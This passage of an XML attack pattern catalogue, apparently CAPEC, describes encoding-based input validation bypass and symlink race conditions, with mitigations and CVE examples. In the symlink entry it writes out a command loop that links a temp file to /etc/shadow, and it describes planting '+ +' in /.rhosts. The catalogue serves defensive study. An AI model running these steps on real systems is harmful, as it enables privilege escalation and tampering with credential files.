							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe entry points to locate
											vulnerabilities:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												payloads using a variety of different types of
												encodings to determine if an entry point actually
												represents a vulnerability with insufficient
												validation logic and to characterize the extent to
												which the vulnerability can be exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Try to use different encodings of content in
												order to bypass validation routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application accepts user-controllable
												input.</Text>
												</Indicator_Description>
												<Environments>env-All env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's encoded payload
												is processed and acted on by the application
												without filtering or
												transcoding.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The application decodes the
												charset and filters the
												inputs.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor inputs to web
												servers. Alert on unusual charset and/or
												characters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Implement input
												validation routines that canonicalize and filter
												user submitted
												content.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Specify the charset of
												the HTTP
												transaction/content.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be attack
												attempts.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> The application's decoder accepts and interprets encoded characters. Data
						canonicalization, input filtering and validating is not done properly
						leaving the door open to harmful characters for the target host. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Microsoft Internet Explorer 5.01 SP4, 6, 6 SP1, and 7 does not
							properly handle unspecified "encoding strings," which allows remote
							attackers to bypass the Same Origin Policy and obtain sensitive
							information via a crafted web site, aka "Post Encoding Information
							Disclosure Vulnerability." Related Vulnerabilities CVE-2010-0488 </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can inject different representation of a filtered
							character in a different encoding.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker may craft subtle encoding of input data by using the
							knowledge that he/she has gathered about the target host.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Attacker may try to inject dangerous characters using different
							encoding using (example of invalid UTF-8 characters, overlong UTF-8,
							Chinese characters in Big-5, etc.). The attacker hopes that the targeted
							system does poor input filtering for all the different possible
							representations of the malicious characters. Malicious inputs can be
							sent through an HTML form, directly encoded in the URL or as part of a
							database query. The attacker can use scripts or automated tools to probe
							for poor input filtering.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Assume all input might use an improper representation. Use canonicalized
						data inside the application; all data must be converted into the
						representation used inside the application (UTF-8, UTF-16, etc.)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system. Test your decoding process against malicious input.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>173<!--Failure to Handle Alternate Encoding-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>181<!--Incorrect Behavior Order: Validate Before Filter-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>21<!--Pathname Traversal and Equivalence Errors-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Failure to Sanitize Data into a Different Plane ('Injection')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>153<!--Input Data Manipulation-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/18.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>WASC Threat Classification 2.0, Incorrect Input
						Handling</Reference_Title>
					<Reference_Publication>WASC</Reference_Publication>
					<Reference_Link>http://projects.webappsec.org/Improper-Input-Handling</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP, Encoding</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/Category:Encoding</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP, Canonicalization, locale and Unicode</Reference_Title>
					<Reference_Link>http://www.owasp.org/index.php/Canonicalization,_locale_and_Unicode</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP, Cross-site scripting prevention cheat sheet, </Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
					</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>David Wheeler</Reference_Author>
					<Reference_Title>Secure Programming for Linux and Unix HOWTO: Chapter 5 Section
						9: Character Encoding</Reference_Title>
					<Reference_Link>http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/character-encoding.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Character Encoding</Reference_Title>
					<Reference_Publisher>Wikipedia</Reference_Publisher>
					<Reference_Link>http://en.wikipedia.org/wiki/Character_encoding</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Eric Hacker</Reference_Author>
					<Reference_Title>IDS Evasion with Unicode</Reference_Title>
					<Reference_PubDate>Jan 3, 2001</Reference_PubDate>
					<Reference_Link>http://www.securityfocus.com/infocus/1232</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="268" Name="Audit Log Manipulation" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="269" Name="Registry Manipulation" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="27" Name="Leveraging Race Conditions via Symbolic Links"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack leverages the use of symbolic links (Symlinks) in order to
						write to sensitive files. An attacker can create a Symlink link to a target
						file not otherwise accessible to her. When the privileged program tries to
						create a temporary file with the same name as the Symlink link, it will
						actually write to the target file pointed to by the attacker's Symlink link.
						If the attacker can insert malicious content in the temporary file she will
						be writing to the sensitive file by using the Symlink. The race occurs
						because the system checks if the temporary file exists, then creates the
						file. The attacker would typically create the Symlink during the interval
						between the check and the creation of the temporary file.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="-1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Verify that target host's platform
											supports symbolic links.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>This attack pattern is only applicable on
												platforms that support symbolic links.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Research target platform to determine
												whether it supports symbolic links.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Create a symbolic link and ensure that it
												works as expected on the given platform.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Target platform supports
												symbolic links (e.g. Linux, UNIX,
												etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Target platform does not
												support symbolic links (e.g. MS
												Windows)</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Examine application's file I/O
											behavior</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Analyze the application's file I/O behavior to
												determine where it stores files, as well as the
												operations it performs to read/write files.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use kernel tracing utility such as ktrace to
												monitor application behavior</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use debugging utility such as File Monitor
												to monitor the application's filesystem I/O
												calls</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Watch temporary directories to see when
												temporary files are created, modified and
												deleted.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Analyze source code for open-source systems
												like Linux, Apache, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Attacker can watch files being created,
												modified and/or deleted by application.</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Application does not seem to perform any
												filesystem I/O operations.</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker identifies at least
												one reproducable file I/O operation performed by
												the application.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker cannot identify any
												file I/O operations being performed by the
												application.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="-1" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Verify ability to write to
											filesystem</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker verifies ability to write to the
												target host's file system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Create a file that does not exist in the
												target directory (e.g. "touch temp.txt" in
												UNIX-like systems)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>On platforms that differentiate between file
												creation and file modification, if the target file
												that the application writes to already exists,
												attempt to modify it.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Verify permissions on target
												directory</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="-1" type="Positive">
												<Indicator_Description>
												<Text>Target directory is a globally writable temp
												directory (e.g. /tmp in many UNIX-like
												systems)</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Indicator>
											<Indicator ID="-1" type="Positive">
												<Indicator_Description>
												<Text>Target directory is writable by the
												attacker's effective user ID.</Text>
												</Indicator_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="0" type="Success">
												<Outcome_Description>Attacker can create and modify
												files in the target
												directory.</Outcome_Description>
											</Outcome>
											<Outcome ID="0" type="Failure">
												<Outcome_Description>Attacker cannot create or
												modify files in the target
												directory.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="0" type="Preventative">
												<Security_Control_Description>Store temporary files
												in a directory with limited permissions where
												malicious users cannot tamper with
												them.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="-1" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Replace file with a symlink to a
											sensitive system file.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Between the time that the application checks to
												see if a file exists (or if the user has access to
												it) and the time the application actually opens the
												file, the attacker replaces the file with a symlink
												to a sensitive system file.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Create an infinite loop containing commands
												such as "rm -f tempfile.dat; ln -s /etc/shadow
												tempfile.dat". Wait for an instance where the
												following steps occur in the given order: (1)
												Application ensures that tempfile.dat exists and
												that the user has access to it, (2) "rm -f
												tempfile.dat; ln -s /etc/shadow tempfile.dat", and
												(3) Application opens tempfile.dat for writing,
												and inadvertently opens /etc/shadow for writing
												instead.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Use other techniques with debugging tools to
												replace the file between the time the application
												checks the file and the time the application opens
												it.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Embedded env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="0" type="Success">
												<Outcome_Description>Sensitive file tampered with
												successfully.</Outcome_Description>
											</Outcome>
											<Outcome ID="0" type="Failure">
												<Outcome_Description>Sensitive file could not be
												tampered with.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="0" type="Preventative">
												<Security_Control_Description>Use file handles to
												check existence of files, to check permissions and
												to open them. Do not use filename except to obtain
												a handle initially.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="0" type="Preventative">
												<Security_Control_Description>Drop application's
												permissions to the current user's permissions
												before performing any file I/O operations (e.g.
												using Process.as_uid() in
												Ruby).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="0" type="Corrective">
												<Security_Control_Description>Run application with
												minimal permissions. In particular, avoid running
												applications as root on UNIX-like systems and as
												Administrator on Windows
												systems.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker is able to create Symlink links on the target host.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Tainted data from the attacker is used and copied to temporary
						files.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target host does insecure temporary file creation.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this naive example, the Unix program foo is setuid. Its function is
							to retrieve information for the accounts specified by the user. For
							"efficiency," it sorts the requested accounts into a temporary file
							(/tmp/foo naturally) before making the queries.</Text>
						<Text>The directory /tmp is world-writable. Malicious user Mallory creates a
							symbolic link to the file /.rhosts named /tmp/foo. Then, she invokes foo
							with + + as the requested account. The program creates the (temporary)
							file /tmp/foo (really creating /.rhosts) and puts the requested account
							(+ +) in it. It removes the temporary file (merely removing the symbolic
							link).</Text>
						<Text>Now the /.rhosts contains + +, which is the incantation necessary to
							allow anyone to use rlogin to log into the computer as the
							superuser.</Text>
						<Text>(Source : Wikipedia
							(http://en.wikipedia.org/wiki/Symlink_race)).</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>GNU ed before 0.3 allows local users to overwrite arbitrary files via
							a symlink attack on temporary files, possibly in the open_sbuf
							function.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-6939</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local
							users to overwrite or delete arbitrary files via a symlink attack on (1)
							temporary files in the openmosixcollector directory or (2)
							nodes.tmp.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2005-0894</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Setuid product allows file reading by replacing a file being edited
							with a symlink to the targeted file, leaking the result in error
							messages when parsing fails.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2000-0972</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This attack is sophisticated because the attacker has to overcome a
							few challenges such as creating symlinks on the target host during a
							precise timing, inserting malicious data in the temporary file and have
							knowledge about the temporary files created (file name and function
							which creates them).</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker will certainly look for file system locations where he
							can write and create Symlink links.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker may also observe the system and locate the temporary
							files created during a call to a certain function.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use safe libraries when creating temporary files. For instance the
						standard library function mkstemp can be used to safely create temporary
						files. For shell scripts, the system utility mktemp does the same
						thing.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Access to the directories should be restricted as to prevent attackers
						from manipulating the files. Denying access to a file can prevent an
						attacker from replacing that file with a link to a sensitive file.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Follow the principle of least privilege when assigning access rights to
						files.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure good compartmentalization in the system to provide protected areas
						that can be trusted.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The content of the temporary file which is copied to the file pointed to by
					the Symlink.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The content of the file overwriten when writing to the Symlink.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The new content of the targeted file.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>This attack can cause privilege escalation, modification of resources or
						denial of services.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>367<!--Time-of-check Time-of-use (TOCTOU) Race Condition--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>61<!--UNIX Symbolic Link (Symlink) Following--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>662<!--Improper Synchronization--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>689<!--Permission Race Condition During Resource Copy--></CWE_ID>

